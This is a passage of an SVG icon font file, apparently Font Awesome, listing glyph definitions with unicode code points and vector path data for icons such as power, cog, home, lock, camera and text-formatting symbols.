50 <glyph unicode="&#xf011;" d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5 t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
51 <glyph unicode="&#xf012;" horiz-adv-x="1792" d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23 v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
52 <glyph unicode="&#xf013;" d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38 q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13 l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22 q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
53 <glyph unicode="&#xf014;" horiz-adv-x="1408" d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576 q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832 q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
54 <glyph unicode="&#xf015;" horiz-adv-x="1664" d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5 l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
55 <glyph unicode="&#xf016;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z " />
56 <glyph unicode="&#xf017;" d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
57 <glyph unicode="&#xf018;" horiz-adv-x="1920" d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256 q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
58 <glyph unicode="&#xf019;" horiz-adv-x="1664" d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136 q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
59 <glyph unicode="&#xf01a;" d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273 t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
60 <glyph unicode="&#xf01b;" d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198 t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
61 <glyph unicode="&#xf01c;" d="M1023 576h316q-1 3 -2.5 8t-2.5 8l-212 496h-708l-212 -496q-1 -2 -2.5 -8t-2.5 -8h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552 q25 -61 25 -123z" />
62 <glyph unicode="&#xf01d;" d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
63 <glyph unicode="&#xf01e;" d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q14 0 25 -9 l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
64 <glyph unicode="&#xf021;" d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117 q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5 q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
65 <glyph unicode="&#xf022;" horiz-adv-x="1792" d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5 t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47 t47 -113z" />
66 <glyph unicode="&#xf023;" horiz-adv-x="1152" d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
67 <glyph unicode="&#xf024;" horiz-adv-x="1792" d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48 t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
68 <glyph unicode="&#xf025;" horiz-adv-x="1664" d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78 t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5 t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
69 <glyph unicode="&#xf026;" horiz-adv-x="768" d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
70 <glyph unicode="&#xf027;" horiz-adv-x="1152" d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 35.5 t12 57t-12 57t-29 35.5t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
71 <glyph unicode="&#xf028;" horiz-adv-x="1664" d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 35.5 t12 57t-12 57t-29 35.5t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5 t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289 t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
72 <glyph unicode="&#xf029;" horiz-adv-x="1408" d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
73 <glyph unicode="&#xf02a;" horiz-adv-x="1792" d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
74 <glyph unicode="&#xf02b;" d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5 l715 -714q37 -39 37 -91z" />
75 <glyph unicode="&#xf02c;" horiz-adv-x="1920" d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5 l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
76 <glyph unicode="&#xf02d;" horiz-adv-x="1664" d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23 q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906 q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5 t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
77 <glyph unicode="&#xf02e;" horiz-adv-x="1280" d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
78 <glyph unicode="&#xf02f;" horiz-adv-x="1664" d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68 v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
79 <glyph unicode="&#xf030;" horiz-adv-x="1920" d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136 q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
80 <glyph unicode="&#xf031;" horiz-adv-x="1664" d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57 q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -4 -0.5 -13t-0.5 -13q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5 q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
81 <glyph unicode="&#xf032;" horiz-adv-x="1408" d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142 q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5 t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68.5 -0.5t67.5 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5 t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
82 <glyph unicode="&#xf033;" horiz-adv-x="1024" d="M0 -126l17 85q6 2 81.5 21.5t111.5 37.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5 q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
83 <glyph unicode="&#xf034;" horiz-adv-x="1792" d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2 t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5 q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27 q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
84 <glyph unicode="&#xf035;" d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1 t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27 q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5 t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49 t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
85 <glyph unicode="&#xf036;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45 t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
86 <glyph unicode="&#xf037;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19 h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
